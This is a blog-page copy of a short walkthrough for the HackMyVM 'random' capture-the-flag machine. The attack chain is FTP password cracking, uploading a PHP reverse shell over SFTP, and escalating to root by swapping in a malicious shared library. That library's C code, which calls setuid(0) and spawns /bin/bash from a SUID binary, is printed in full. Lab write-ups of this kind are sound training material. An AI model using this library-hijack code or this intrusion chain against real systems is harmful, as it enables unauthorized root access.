当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
- 轮播图详解(完整代码在最后)
- 解决5+APP真机测试无法访问后台(同局域网)
- IP access control: teach you how to implement an IP firewall with PHP
- 阿里云设置域名解析重定向后,无法使用Chrome访问
- QR code generation API interface, which can be directly connected as an A tag
- DVWA靶机安装教程
- Baidu positioning js API
- IO流、字节流、字节缓冲流
- 正则笔记(2)- 正则表达式位置匹配攻略
- [vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
猜你喜欢
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库

Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary

解决5+APP真机测试无法访问后台(同局域网)

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration

js 原型和原型链

Stable and easy-to-use short connection generation platform, supporting API batch generation

ES6迭代器解释举例

js eventLoop 事件循环机制

1.13 学习JS

如何计算地球上两点的距离(附公式推导)
随机推荐
PHP有哪些框架?
PHP8.2的版本发布管理员和发布计划
如何计算地球上两点的距离(附公式推导)
js scope and closure
TCP通信程序
vim编辑模式
正则笔记(2)- 正则表达式位置匹配攻略
3. PHP data types, constants, strings and operators
TCP communications program
逍遥多开模拟器ADB驱动连接
使用PHPMailer发送邮件
js eventLoop 事件循环机制
PHP image compression to specified size
[mikehaertl/php-shellcommand] A library for invoking external command operations
百度定位js API
meime module
Dom实现input的焦点触发
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
uniapp | 开发中遇到的兼容性问题(待续)
Batch replace file fonts, Simplified -> Traditional